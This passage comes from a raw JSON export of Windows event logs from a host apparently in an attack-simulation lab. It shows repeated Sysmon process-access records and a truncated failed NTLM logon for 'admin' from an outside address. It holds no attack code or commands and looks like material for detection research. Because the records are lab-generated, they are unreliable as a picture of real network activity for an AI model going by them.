C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010FF5B0300}\r\nTargetProcessId: 3628\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010FF5B0300}","TargetProcessId":"3628","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221491,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60042\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp 